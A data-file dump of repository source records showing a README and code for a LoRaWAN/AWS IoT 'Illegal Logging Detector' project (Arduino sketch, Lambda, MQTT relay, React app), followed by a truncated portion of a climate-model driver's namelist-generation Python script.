my_string.getBytes(payload, my_string.length() + 1);\n\n // Send to TTN \n\n sendResult(payload, my_string.length() + 1);\n delay(1000);\n }\n\n## TTN:\n\nTo communicate the device with TTN, we first need to be in range of the TTN gateways.\n\nCheck coverage at: https://www.thethingsnetwork.org/map\n\nIf you are in coverage, first we have to create a TTN application as the official documentation says:\n\nhttps://www.thethingsnetwork.org/docs/applications/add/\n\n<img src=\"./Images/appttn.png\">\n\nNow that we have our app we must register our device to obtain the credentials.\n\nhttps://www.thethingsnetwork.org/docs/devices/registration/\n\n<img src=\"./Images/device.png\">\n\n## TTN to AWS IoT:\n\nMy first attempt to communicate TTN with AWSIoT was through the official TTN documentation. However, its integration is not updated as of today 05/04/2021.\n\nhttps://www.thethingsnetwork.org/docs/applications/aws/\n\nIn this case I decided to do my own integration through the following AWS services.\n\n<img src=\"./Images/aws.png\">\n\n<hr>\n\n### **TTN MQTT to AWS API Gateway**:\n\nSince I want this to be a reproducible integration to any system, I decided to make an integration based on the NodeJS container, this container is in the AWS Integration\\Container folder.\n\nIn a simple way, the container receives all the data that the ttn app receives through the MQTT API and sends everything to its own API as request.\n\n client.on('message', function (topic, message) {\n console.log(message.toString())\n unirest('POST', data.myAPIurl)\n .headers({\n 'Content-Type': 'application/json'\n })\n .send(message.toString())\n .end(function (res) {\n if (res.error) throw new Error(res.error);\n console.log(200);\n });\n })\n\nTo deploy this container on AWS use the ECR service to upload the container to AWS and ECS to deploy it. However, you can deploy it on your computer through Docker without any problem.\n\nNOTE: The code will be fully commented on what it is doing.\n\n<hr>\n\n### **AWS API Gateway to AWSLambda**:\n\nOnce the message reached AWS API Gateway, we have to perform some action with it, for this we deploy a Lambda code in the API to redirect the complete message to AWS IoT.\n\n<img src=\"./Images/apigate.png\">\n\n<hr>\n\n### **AWSLambda to AWS IoT**:\n\nThe program that is executed when the message arrives from the container is the following. Also the code is in the AWS Integration \\ Lambda folder.\n\n import json\n import boto3\n\n client = boto3.client(\"iot-data\")\n\n def lambda_handler(event, context):\n response = client.publish(\n topic=\"ttn/echo\",\n qos=1,\n payload=json.dumps(event[\"body\"]))\n return {\n 'statusCode': 200,\n 'body': json.dumps('TTN Correct!')\n }\n\nAll the messages that we send from our device, by TTN to AWSIoT, will reach the topic ttn/echo.\n\n<hr>\n\n### Backend DEMO:\n\nHere is a demonstration of the entire backend running at the same time.\n\nVideo: Click on the image\n[![Capture](./Images/awsint.png)](https://youtu.be/p_ZSyW9KK2k)\n\n# Power Consumption:\n\nFor the project it is very important to see the energy consumption of our device, so I decided with the Nordic Power Profiler Kit II, to do an analysis of the mAh consumed by the device.\n\nThe complete initialization of the entire device is approximately 40 seconds with an average consumption of 45mA and peaks of 132mA.\n\n<img src=\"./Images/138.png\">\n\nHowever, what interests us is the long-term power consumption, so analyzing the consumption after the initialization, we find a stable zone of 48.7 mAh.\n\n<img src=\"./Images/48.png\">\n\nSo the LoraWAN module only adds 10mAh to the consumption of the device.\n\nVideo: Click on the image\n[![PPKII](./Images/none.png)](https://youtu.be/6QJh2mOm6js)\n\n# WebPage Deploy:\n\nThe deployment of the web page was done using ReactJS, OpenLayers (Maps) and AWS-SDK for javascript.\n\nDesktop:\n\n<img src=\"./Images/desk.png\" height=\"300px\">\n\nMobile:\n\n<img src=\"./Images/mobile.png\" height=\"300px\">\n\nhttps://illegal-logging-detector.s3.amazonaws.com/index.html\n\n## AWS Cognito:\n\nFor security, to safely use and consume AWS services, **identity pool** credentials were implemented with the Cognito service.\n\nThe access keys for AWSIoT and Cognito must be placed in the following file.\n\nWebapp/src/components/aws-configuration.js\n\n var awsConfiguration = {\n poolId: \"us-east-1:XXXXXXXXXXXXXXX\", // 'YourCognitoIdentityPoolId'\n host:\"XXXXXXXXXXXXXX-ats.iot.us-east-1.amazonaws.com\", // 'YourAwsIoTEndpoint', e.g. 'prefix.iot.us-east-1.amazonaws.com'\n region: \"us-east-1\" // 'YourAwsRegion', e.g. 'us-east-1'\n };\n module.exports = awsConfiguration;\n\n## AWS IoT WebSocket:\n\nThe web page receives the sensor data through AWSIoT as a web socket, so it is important to define within the page, which is the topic that we are going to receive, in this case \"ttn / echo\" as we could see in the video of [Backend Video](# backend-demo).\n\nIn the following file, put the name of the topic to which you will be subscribed.\n\nWebapp/src/App.js\n\n <IotReciever sub_topics={[\"ttn/echo\"]} callback={this.callBackIoT} />\n\n### **Decode IN Data**:\n\nBecause the data we receive from TTN is with a base64 encoding, we need to decode it with the following code in the webapp.\n\n let payload = atob(temp[\"payload_raw\"]).replace(' ', '').split(\",\")\n\nThis performs a conversion like the one we see in the image.\n\n<img src=\"./Images/decode.png\">\n\nThe array is made up of 4 pieces of information:\n\n1. Result of the neural network.\n2. Realtive humidity of the environment.\n3. Temperature in degrees Celsius (converted to Fahrenheit on the page)\n4. Atmospheric pressure in mmHg.\n\n# Final Product:\n\nCase Closed:\n\n<img src=\"./Images/dev1.jpg\">\n\nCase open:\n\n<img src=\"./Images/dev2.jpg\">\n\nPlatform UI:\n\n<img src=\"./Images/desk.png\" height=\"300px\">\n<img src=\"./Images/mobile.png\" height=\"300px\">\n\nhttps://illegal-logging-detector.s3.amazonaws.com/index.html\n\n# EPIC DEMO:\n\nVideo: Click on the image\n[![demo](./Images/logo.png)](https://youtu.be/eDP3U5mweT8)\n\nSorry, github does not allow embed videos.\n" }, { "alpha_fraction": 0.619441568851471, "alphanum_fraction": 0.6866597533226013, "avg_line_length": 87, "blob_id": "330a3fa7459bdbff3b405b015285b348d7de427b", "content_id": "1f9f6789e9302b0748000175fa5b757934463c0f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 967, "license_type": "permissive", "max_line_length": 750, "num_lines": 11, "path": "/Capture Project/knowledgepack/sensiml/model_json.h", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "#ifndef __MODEL_JSON_H__\n#define __MODEL_JSON_H__\n\nconst char recognition_model_string_json[] = {\" \\\n\t\t{\\\"NumModels\\\": 1, \\\"ModelIndexes\\\": {\\\"0\\\": \\\"slide_rank_0\\\"}, \\\"ModelDescriptions\\\": [{\\\"Name\\\": \\\"slide_rank_0\\\", \\\"ClassMaps\\\": {\\\"1\\\": \\\"Horizontal\\\", \\\"2\\\": \\\"Stationary\\\", \\\"3\\\": \\\"Vertical\\\", \\\"0\\\": \\\"Unknown\\\"}, \\\"ModelType\\\": \\\"Decision Tree Ensemble\\\", \\\"FeatureNames\\\": [\\\"gen_0009_AccelerometerZStd\\\", \\\"gen_0016_AccelerometerXSum\\\", \\\"gen_0021_AccelerometerZmaximum\\\", \\\"gen_0024_AccelerometerZminimum\\\", \\\"gen_0037_AccelerometerXMean\\\", \\\"gen_0042_AccelerometerZ100Percentile\\\", \\\"gen_0045_AccelerometerXMaxP2PGlobalDC\\\", \\\"gen_0046_AccelerometerYMaxP2PGlobalDC\\\", \\\"gen_0050_AccelerometerZMaxP2P1stHalfAC\\\", \\\"gen_0053_AccelerometerZP2P\\\", \\\"gen_0056_AccelerometerZMaxP2PGlobalAC\\\", \\\"gen_0086_AccelerometerZMeanCrossingRate\\\"]}]} \\\n\"\n};\n\nint recognition_model_string_json_len = sizeof(recognition_model_string_json);\n\n#endif /* __MODEL_JSON_H__ */" }, { "alpha_fraction": 0.6316498517990112, "alphanum_fraction": 0.6727272868156433, "avg_line_length": 22.571428298950195, "blob_id": "70c5cf0a8839b2186294138c2f5cf6142aa9db19", "content_id": "af0d11b7bce1e4e0102b749cef3ae007e0607745", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1485, "license_type": "permissive", "max_line_length": 102, "num_lines": 63, "path": "/Serial2Lora_STM32L0/Serial2Lora_STM32L0.ino", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "#include \"LoRaWAN.h\"\n#include \"creds.h\"\n#include <HTS221Sensor.h>\n#include <LPS22HHSensor.h>\n\n#define DEV_I2C Wire\n#define REGION_US915\n\nLPS22HHSensor PressTemp(&DEV_I2C);\nHTS221Sensor HumTemp(&DEV_I2C);\n\nString my_string = \"\";\n\nvoid setup( void )\n{\n Serial1.begin(460800);\n Serial.begin(115200);\n while (!Serial) {\n ;\n }\n \n DEV_I2C.begin(); \n PressTemp.begin();\n PressTemp.Enable();\n HumTemp.begin();\n HumTemp.Enable();\n \n LoRaWAN.begin(US915);\n LoRaWAN.setSubBand(2);\n LoRaWAN.joinOTAA(appEui, appKey, devEui);\n Serial.println(\"Link START!\");\n}\n\nvoid loop( void )\n{\n float humidity = 0, temperature = 0;\n HumTemp.GetHumidity(&humidity);\n HumTemp.GetTemperature(&temperature);\n float pressure = 0, temperature2 = 0;\n PressTemp.GetPressure(&pressure);\n PressTemp.GetTemperature(&temperature2);\n\n if (Serial1.available()) {\n String temp = Serial1.readString();\n int checkpoint1 = temp.indexOf(\":\", 25);\n int checkpoint2 = temp.indexOf(\",\", 25);\n temp = temp.substring(checkpoint1+1, checkpoint2);\n my_string = temp+\",\"+String(int(humidity))+\",\"+String(int(temperature))+\",\"+String(int(pressure));\n uint8_t payload[my_string.length()+1];\n my_string.getBytes(payload, my_string.length()+1);\n sendResult(payload,my_string.length()+1);\n delay(1000);\n }\n}\n\nbool sendResult(uint8_t spayload[],int paySize) {\n if (LoRaWAN.joined() && !LoRaWAN.busy())\n {\n LoRaWAN.sendPacket(1, spayload, paySize);\n return true;\n }\n return false;\n}\n" }, { "alpha_fraction": 0.5517241358757019, "alphanum_fraction": 0.5705329179763794, "avg_line_length": 21.785715103149414, "blob_id": "36b5d0cfbbadfc9b4e4f98378d4ee376b07b48a5", "content_id": "5b050cd01098515346ee25ac323b1ebeda45c81c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 319, "license_type": "permissive", "max_line_length": 48, "num_lines": 14, "path": "/AWS Integration/Lambda/lambda_function.py", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import json\nimport boto3\n\nclient = boto3.client(\"iot-data\")\n\ndef lambda_handler(event, context):\n response = client.publish(\n topic=\"ttn/echo\",\n qos=1,\n payload=json.dumps(event[\"body\"]))\n return {\n 'statusCode': 200,\n 'body': json.dumps('Hello from Lambda!')\n }\n" }, { "alpha_fraction": 0.4541338384151459, "alphanum_fraction": 0.4819721579551697, "avg_line_length": 30.723403930664062, "blob_id": "d7f325c23b02a32b3fefe9cbb1db6372dd2931aa", "content_id": "f64b75223bed942ac0d6289a1c8137467cb06e44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5964, "license_type": "permissive", "max_line_length": 108, "num_lines": 188, "path": "/Webapp/src/App.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import logo from './logo.svg';\nimport './App.css';\nimport IotReciever from \"./components/iot-reciever-aws\"\nimport MyMap from \"./components/maps\"\nimport React, { Component } from 'react';\nimport ReactDOM from \"react-dom\"\nimport { Card, Col, Row } from \"reactstrap\"\nimport styles from \"./components/style-module\"\nimport Alarm from \"./components/Sounds/alarm.wav\";\nimport { isMobile } from \"react-device-detect\"\n\nlet maps = \"\"\n\nconst alarmAudio = new Audio(Alarm);\n\nclass App extends Component {\n constructor(props) {\n super(props);\n this.state = {\n coord: [-99.074787, 19.460355],\n coords: [[-99.074787, 19.460355], [-99.07, 19.4605], [-99.0837, 19.460355]],\n colors: [styles.Blue, styles.Blue, styles.Blue],\n kind: [0, 0, 0],\n temperature: \"Pending\",\n humidity: \"Pending\",\n result: \"Pending\",\n pressure: \"Pending\"\n }\n this.callBackIoT = this.callBackIoT.bind(this);\n }\n\n callBackIoT = (data) => {\n const temp = JSON.parse(JSON.parse(data[1]))\n if (temp[\"dev_id\"] !== undefined && temp[\"payload_raw\"] !== undefined) {\n if (temp[\"dev_id\"] === \"ttn-gateway-device\") {\n console.log(temp[\"payload_raw\"])\n let payload = atob(temp[\"payload_raw\"]).replace(' ', '').split(\",\")\n if (payload.length > 1) {\n let temp2 = <MyMap\n coord={this.state.coord}\n coords={this.state.coords}\n colors={this.state.colors}\n kind={this.state.kind}\n zoom={14}\n />\n if (payload[0] === \"2\") {\n this.setState({\n temperature: payload[2],\n humidity: payload[1],\n result: \"Humans\",\n pressure: payload[3].substring(0, 3),\n colors: [styles.Yellow, styles.Blue, styles.Blue],\n kind: [1, 0, 0],\n })\n temp2 = <MyMap\n coord={this.state.coord}\n coords={this.state.coords}\n colors={[styles.Yellow, styles.Blue, styles.Blue]}\n kind={[1, 0, 0]}\n zoom={14}\n />\n alarmAudio.pause();\n }\n else if (payload[0] === \"3\") {\n this.setState({\n temperature: payload[2],\n humidity: payload[1],\n result: \"Normal\",\n pressure: payload[3].substring(0, 3),\n colors: [styles.Blue, styles.Blue, styles.Blue],\n kind: [0, 0, 0],\n })\n temp2 = <MyMap\n coord={this.state.coord}\n coords={this.state.coords}\n colors={this.state.colors}\n kind={this.state.kind}\n zoom={14}\n />\n alarmAudio.pause();\n }\n else if (payload[0] === \"1\") {\n this.setState({\n temperature: payload[2],\n humidity: payload[1],\n result: \"Logging\",\n pressure: payload[3].substring(0, 3),\n colors: [styles.Red, styles.Blue, styles.Blue],\n kind: [2, 0, 0],\n })\n temp2 = <MyMap\n coord={this.state.coord}\n coords={this.state.coords}\n colors={[styles.Red, styles.Blue, styles.Blue]}\n kind={[2, 0, 0]}\n zoom={14}\n />\n alarmAudio.play();\n }\n if (!(JSON.stringify(temp2) === JSON.stringify(maps))) {\n maps = temp2\n ReactDOM.unmountComponentAtNode(document.getElementById(\"map-zone\"))\n ReactDOM.render(maps, document.getElementById(\"map-zone\"))\n }\n console.log(payload)\n }\n }\n }\n }\n\n componentDidMount() {\n maps = <MyMap\n coord={this.state.coord}\n coords={this.state.coords}\n colors={this.state.colors}\n kind={this.state.kind}\n zoom={14}\n />\n ReactDOM.render(maps, document.getElementById(\"map-zone\"))\n }\n\n render() {\n let tempTEMP = \"Pending\"\n let logos = <img src={logo} alt=\"logo\" width=\"100\" height=\"100\" className=\"right\" />\n if (this.state.temperature !== \"Pending\") {\n tempTEMP = Math.round(((this.state.temperature * 1.8 + 32) + Number.EPSILON) * 100) / 100\n }\n return (\n <div className=\"App\">\n <IotReciever sub_topics={[\"ttn/echo\"]} callback={this.callBackIoT} />\n <Col style={{ background: \"#f5f4f5\" }}>\n <Row md=\"2\">\n <Col className=\"center\">\n {\n logos\n }\n </Col>\n <Col>\n <div className=\"center\">\n Illegal Logging Detector\n </div>\n </Col>\n </Row>\n </Col>\n <hr />\n <Card style={{ padding: \"10px\"}}>\n <div id=\"map-zone\" />\n </Card>\n <hr />\n <Row md=\"2\" style={{ color: \"black\", fontSize: \"1.3rem\" }}>\n <Col xs=\"6\">\n <Card style={{ padding: \"10px\", borderTopLeftRadius: \"30px\", borderBottomRightRadius: \"30px\" }}>\n {\"Temp:\"}\n <br />\n {tempTEMP}{\" °F\"}\n </Card>\n </Col>\n <Col xs=\"6\">\n <Card style={{ padding: \"10px\", borderTopLeftRadius: \"30px\", borderBottomRightRadius: \"30px\" }}>\n {\"Humidity:\"}\n <br />\n {this.state.humidity}{\" %\"}\n </Card>\n </Col>\n <br />\n <br />\n <br />\n <Col xs=\"6\">\n <Card style={{ padding: \"10px\", borderTopLeftRadius: \"30px\", borderBottomRightRadius: \"30px\" }}>\n {\"Pressure:\"}\n <br />\n {this.state.pressure}{\" mm Hg\"}\n </Card>\n </Col>\n <Col xs=\"6\">\n <Card style={{ padding: \"10px\", borderTopLeftRadius: \"30px\", borderBottomRightRadius: \"30px\" }}>\n {\"Result:\"}\n <br />\n {this.state.result}\n </Card>\n </Col>\n </Row>\n </div>\n );\n }\n}\n\nexport default App;" }, { "alpha_fraction": 0.5769540667533875, "alphanum_fraction": 0.5970991253852844, "avg_line_length": 25.4255313873291, "blob_id": "b5f1ec7184e72b0d553c49eb4efa15bdb5fb3de9", "content_id": "5c8c644a3a6038892975378af3155a7d875a8969", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1241, "license_type": "permissive", "max_line_length": 86, "num_lines": 47, "path": "/AWS Integration/Container/main.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "function makeid(length) {\n var result = [];\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result.push(characters.charAt(Math.floor(Math.random() *\n charactersLength)));\n }\n return result.join('');\n}\n\nconst data = require('./creds.json');\n\nvar unirest = require('unirest');\nvar mqtt = require('mqtt');\nvar options = {\n protocol: 'mqtts',\n clientId: makeid(5),\n username: data.myusername,\n password: data.mypassword,\n keepalive: 60,\n reconnectPeriod: 1000\n};\nvar client = mqtt.connect('mqtts://us-west.thethings.network:8883', options);\n\nclient.subscribe(\"#\");\n\nclient.on('connect', function () {\n client.subscribe('#', function (err) {\n if (!err) {\n console.log(\"Mqtt OK\")\n }\n })\n})\n\nclient.on('message', function (topic, message) {\n console.log(message.toString())\n unirest('POST', data.myAPIurl)\n .headers({\n 'Content-Type': 'application/json'\n })\n .send(message.toString())\n .end(function (res) {\n if (res.error) throw new Error(res.error);\n console.log(200);\n });\n})" }, { "alpha_fraction": 0.38224297761917114, "alphanum_fraction": 0.41588786244392395, "avg_line_length": 19.596153259277344, "blob_id": "038c182d1c1f156916e639892952d51b63df0519", "content_id": "09c9f32c335fd3a6f54914c0bdbc53e7831831c2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1070, "license_type": "permissive", "max_line_length": 70, "num_lines": 52, "path": "/Webapp/src/components/style-module.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import { Circle as CircleStyle, Fill, Stroke, Style } from 'ol/style';\n\nlet styles = {\n 'Point': new Style({\n image: new CircleStyle({\n radius: 10,\n fill: null,\n stroke: new Stroke({\n color: 'magenta',\n }),\n }),\n }),\n 'Polygon': new Style({\n stroke: new Stroke({\n color: 'blue',\n lineDash: [4],\n width: 3,\n }),\n fill: new Fill({\n color: 'rgba(0, 0, 255, 0.1)',\n }),\n }),\n 'Blue': new Style({\n stroke: new Stroke({\n color: 'blue',\n width: 1,\n }),\n fill: new Fill({\n color: 'rgba(0, 0, 255, 0.1)',\n }),\n }),\n 'Yellow': new Style({\n stroke: new Stroke({\n color: 'yellow',\n width: 1,\n }),\n fill: new Fill({\n color: 'rgba(255, 255, 0, 0.5)',\n }),\n }),\n 'Red': new Style({\n stroke: new Stroke({\n color: 'red',\n width: 1,\n }),\n fill: new Fill({\n color: 'rgba(255, 0, 0, 1)',\n }),\n })\n };\n\n export default styles" } ]
12
ESCOMP/CMEPS
https://github.com/ESCOMP/CMEPS
59eb7045355c6b119a9a6f3d01e61235ced6c9cb
98dcf46c8886104b95cddfd5b02588b3dd9f6722
bb115c48575b4eb18398688ddd6d0c0e8f37aff6
refs/heads/main
2023-07-24T10:37:08.327635
2023-07-10T14:10:05
2023-07-10T14:10:05
180,176,845
18
52
null
2019-04-08T15:18:16
2023-07-25T14:24:56
2023-08-29T23:59:37
Fortran
[ { "alpha_fraction": 0.5337852835655212, "alphanum_fraction": 0.5376694798469543, "avg_line_length": 37.985713958740234, "blob_id": "db007d3eafee3df5445eb1153f1521c3d0351a2a", "content_id": "32be8ead4760fae7edda191fae31506fe5bb1b0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27290, "license_type": "no_license", "max_line_length": 122, "num_lines": 700, "path": "/cime_config/buildnml", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\"\"\"Namelist creator for CIME's driver.\n\"\"\"\nimport os, sys\n\n_CIMEROOT = os.environ.get(\"CIMEROOT\")\nif _CIMEROOT is None:\n raise SystemExit(\"ERROR: must set CIMEROOT environment variable\")\n\nsys.path.append(os.path.join(_CIMEROOT, \"scripts\", \"Tools\"))\n\nimport shutil, glob, itertools\nfrom standard_script_setup import *\nfrom CIME.case import Case\nfrom CIME.nmlgen import NamelistGenerator\nfrom CIME.utils import expect\nfrom CIME.utils import get_model, get_time_in_seconds, get_timestamp\nfrom CIME.buildnml import create_namelist_infile, parse_input\nfrom CIME.XML.files import Files\n\n# pylint: disable=undefined-variable\nlogger = logging.getLogger(__name__)\n\n###############################################################################\ndef _create_drv_namelists(case, infile, confdir, nmlgen, files):\n ###############################################################################\n\n # --------------------------------\n # Set up config dictionary\n # --------------------------------\n config = {}\n cime_model = get_model()\n config[\"cime_model\"] = cime_model\n config[\"iyear\"] = case.get_value(\"COMPSET\").split(\"_\")[0]\n config[\"BGC_MODE\"] = case.get_value(\"CCSM_BGC\")\n config[\"CPL_I2O_PER_CAT\"] = case.get_value(\"CPL_I2O_PER_CAT\")\n config[\"DRV_THREADING\"] = case.get_value(\"DRV_THREADING\")\n config[\"CPL_ALBAV\"] = case.get_value(\"CPL_ALBAV\")\n config[\"CPL_EPBAL\"] = case.get_value(\"CPL_EPBAL\")\n config[\"FLDS_WISO\"] = case.get_value(\"FLDS_WISO\")\n config[\"BUDGETS\"] = case.get_value(\"BUDGETS\")\n config[\"MACH\"] = case.get_value(\"MACH\")\n config[\"MPILIB\"] = case.get_value(\"MPILIB\")\n config[\"OS\"] = case.get_value(\"OS\")\n config[\"glc_nec\"] = (\n 0 if case.get_value(\"GLC_NEC\") == 0 else case.get_value(\"GLC_NEC\")\n )\n config[\"timer_level\"] = \"pos\" if case.get_value(\"TIMER_LEVEL\") >= 1 else \"neg\"\n config[\"continue_run\"] = \".true.\" if case.get_value(\"CONTINUE_RUN\") else \".false.\"\n config[\"flux_epbal\"] = \"ocn\" if case.get_value(\"CPL_EPBAL\") == \"ocn\" else \"off\"\n config[\"mask_grid\"] = case.get_value(\"MASK_GRID\")\n config[\"rest_option\"] = case.get_value(\"REST_OPTION\")\n config[\"comp_ocn\"] = case.get_value(\"COMP_OCN\")\n\n atm_grid = case.get_value(\"ATM_GRID\")\n lnd_grid = case.get_value(\"LND_GRID\")\n ice_grid = case.get_value(\"ICE_GRID\")\n ocn_grid = case.get_value(\"OCN_GRID\")\n # pylint: disable=unused-variable\n rof_grid = case.get_value(\"ROF_GRID\")\n # pylint: disable=unused-variable\n wav_grid = case.get_value(\"WAV_GRID\")\n # pylint: disable=unused-variable\n glc_grid = case.get_value(\"GLC_GRID\")\n\n config[\"atm_grid\"] = atm_grid\n config[\"lnd_grid\"] = lnd_grid\n config[\"ice_grid\"] = ice_grid\n config[\"ocn_grid\"] = ocn_grid\n\n atm_mesh = case.get_value(\"ATM_DOMAIN_MESH\")\n lnd_mesh = case.get_value(\"LND_DOMAIN_MESH\")\n rof_mesh = case.get_value(\"ROF_DOMAIN_MESH\")\n config[\"samegrid_atm_lnd\"] = (\n \"true\" if atm_mesh == case.get_value(\"LND_DOMAIN_MESH\") else \"false\"\n )\n config[\"samegrid_atm_ocn\"] = (\n \"true\" if atm_mesh == case.get_value(\"OCN_DOMAIN_MESH\") else \"false\"\n )\n config[\"samegrid_atm_ice\"] = (\n \"true\" if atm_mesh == case.get_value(\"ICE_DOMAIN_MESH\") else \"false\"\n )\n config[\"samegrid_atm_wav\"] = (\n \"true\" if atm_mesh == case.get_value(\"WAV_DOMAIN_MESH\") else \"false\"\n )\n config[\"samegrid_lnd_rof\"] = \"true\" if lnd_mesh == rof_mesh else \"false\"\n\n # determine if need to set atm_domainfile\n scol_lon = float(case.get_value(\"PTS_LON\"))\n scol_lat = float(case.get_value(\"PTS_LAT\"))\n if (\n scol_lon > -999.0\n and scol_lat > -999.0\n and case.get_value(\"ATM_DOMAIN_FILE\") != \"UNSET\"\n ):\n config[\"single_column\"] = \"true\"\n else:\n config[\"single_column\"] = \"false\"\n\n # needed for determining the run sequence as well as glc_renormalize_smb\n config[\"COMP_ATM\"] = case.get_value(\"COMP_ATM\")\n config[\"COMP_ICE\"] = case.get_value(\"COMP_ICE\")\n config[\"COMP_GLC\"] = case.get_value(\"COMP_GLC\")\n config[\"COMP_LND\"] = case.get_value(\"COMP_LND\")\n config[\"COMP_OCN\"] = case.get_value(\"COMP_OCN\")\n config[\"COMP_ROF\"] = case.get_value(\"COMP_ROF\")\n config[\"COMP_WAV\"] = case.get_value(\"COMP_WAV\")\n\n if (\n (\n case.get_value(\"COMP_ROF\") == \"mosart\"\n and case.get_value(\"MOSART_MODE\") == \"NULL\"\n )\n or (\n case.get_value(\"COMP_ROF\") == \"rtm\" and case.get_value(\"RTM_MODE\") == \"NULL\"\n )\n or (case.get_value(\"ROF_GRID\") == \"null\")\n ):\n config[\"ROF_MODE\"] = \"null\"\n\n if case.get_value(\"RUN_TYPE\") == \"startup\":\n config[\"run_type\"] = \"startup\"\n elif case.get_value(\"RUN_TYPE\") == \"hybrid\":\n config[\"run_type\"] = \"startup\"\n elif case.get_value(\"RUN_TYPE\") == \"branch\":\n config[\"run_type\"] = \"branch\"\n\n config['wav_ice_coupling'] = config['COMP_WAV'] == 'ww3dev' and config['COMP_ICE'] == 'cice'\n\n # ----------------------------------------------------\n # Initialize namelist defaults\n # ----------------------------------------------------\n nmlgen.init_defaults(infile, config, skip_default_for_groups=[\"modelio\"])\n\n # --------------------------------\n # Overwrite: set brnch_retain_casename\n # --------------------------------\n start_type = nmlgen.get_value(\"start_type\")\n if start_type != \"startup\":\n if case.get_value(\"CASE\") == case.get_value(\"RUN_REFCASE\"):\n nmlgen.set_value(\"brnch_retain_casename\", value=\".true.\")\n\n # set aquaplanet if appropriate\n if config[\"COMP_OCN\"] == \"docn\" and \"aqua\" in case.get_value(\"DOCN_MODE\"):\n nmlgen.set_value(\"aqua_planet\", value=\".true.\")\n\n # --------------------------------\n # Overwrite: set component coupling frequencies\n # --------------------------------\n ncpl_base_period = case.get_value(\"NCPL_BASE_PERIOD\")\n if ncpl_base_period == \"hour\":\n basedt = 3600\n elif ncpl_base_period == \"day\":\n basedt = 3600 * 24\n elif ncpl_base_period == \"year\":\n if case.get_value(\"CALENDAR\") == \"NO_LEAP\":\n basedt = 3600 * 24 * 365\n else:\n expect(\n False, \"Invalid CALENDAR for NCPL_BASE_PERIOD %s \" % ncpl_base_period\n )\n elif ncpl_base_period == \"decade\":\n if case.get_value(\"CALENDAR\") == \"NO_LEAP\":\n basedt = 3600 * 24 * 365 * 10\n else:\n expect(\n False,\n \"invalid NCPL_BASE_PERIOD NCPL_BASE_PERIOD %s \" % ncpl_base_period,\n )\n else:\n expect(\n False, \"invalid NCPL_BASE_PERIOD NCPL_BASE_PERIOD %s \" % ncpl_base_period\n )\n\n if basedt < 0:\n expect(\n False, \"basedt invalid overflow for NCPL_BASE_PERIOD %s \" % ncpl_base_period\n )\n\n # determine coupling intervals\n comps = case.get_values(\"COMP_CLASSES\")\n mindt = basedt\n coupling_times = {}\n for comp in comps:\n ncpl = case.get_value(comp.upper() + \"_NCPL\")\n if ncpl is not None:\n cpl_dt = basedt // int(ncpl)\n totaldt = cpl_dt * int(ncpl)\n if totaldt != basedt:\n expect(False, \" %s ncpl doesn't divide base dt evenly\" % comp)\n nmlgen.add_default(comp.lower() + \"_cpl_dt\", value=cpl_dt)\n coupling_times[comp.lower() + \"_cpl_dt\"] = cpl_dt\n mindt = min(mindt, cpl_dt)\n\n # sanity check\n comp_atm = case.get_value(\"COMP_ATM\")\n if comp_atm is not None and comp_atm not in (\"datm\", \"xatm\", \"satm\"):\n atmdt = int(basedt / case.get_value(\"ATM_NCPL\"))\n expect(\n atmdt == mindt,\n \"Active atm should match shortest model timestep atmdt={} mindt={}\".format(\n atmdt, mindt\n ),\n )\n\n # --------------------------------\n # Overwrite: set start_ymd\n # --------------------------------\n run_startdate = \"\".join(str(x) for x in case.get_value(\"RUN_STARTDATE\").split(\"-\"))\n nmlgen.set_value(\"start_ymd\", value=run_startdate)\n\n # --------------------------------\n # Overwrite: set tprof_option and tprof_n - if tprof_total is > 0\n # --------------------------------\n # This would be better handled inside the alarm logic in the driver routines.\n # Here supporting only nday(s), nmonth(s), and nyear(s).\n\n stop_option = case.get_value(\"STOP_OPTION\")\n if \"nyear\" in stop_option:\n tprofoption = \"ndays\"\n tprofmult = 365\n elif \"nmonth\" in stop_option:\n tprofoption = \"ndays\"\n tprofmult = 30\n elif \"nday\" in stop_option:\n tprofoption = \"ndays\"\n tprofmult = 1\n else:\n tprofmult = 1\n tprofoption = \"never\"\n\n tprof_total = case.get_value(\"TPROF_TOTAL\")\n if (\n (tprof_total > 0)\n and (case.get_value(\"STOP_DATE\") < 0)\n and (\"ndays\" in tprofoption)\n ):\n stop_n = case.get_value(\"STOP_N\")\n stopn = tprofmult * stop_n\n tprofn = int(stopn / tprof_total)\n if tprofn < 1:\n tprofn = 1\n nmlgen.set_value(\"tprof_option\", value=tprofoption)\n nmlgen.set_value(\"tprof_n\", value=tprofn)\n\n # Set up the pause_component_list if pause is active\n pauseo = case.get_value(\"PAUSE_OPTION\")\n if pauseo != \"never\" and pauseo != \"none\":\n pausen = case.get_value(\"PAUSE_N\")\n pcl = nmlgen.get_default(\"pause_component_list\")\n nmlgen.add_default(\"pause_component_list\", pcl)\n # Check to make sure pause_component_list is valid\n pcl = nmlgen.get_value(\"pause_component_list\")\n if pcl != \"none\" and pcl != \"all\":\n pause_comps = pcl.split(\":\")\n comp_classes = case.get_values(\"COMP_CLASSES\")\n for comp in pause_comps:\n expect(\n comp == \"drv\" or comp.upper() in comp_classes,\n \"Invalid PAUSE_COMPONENT_LIST, %s is not a 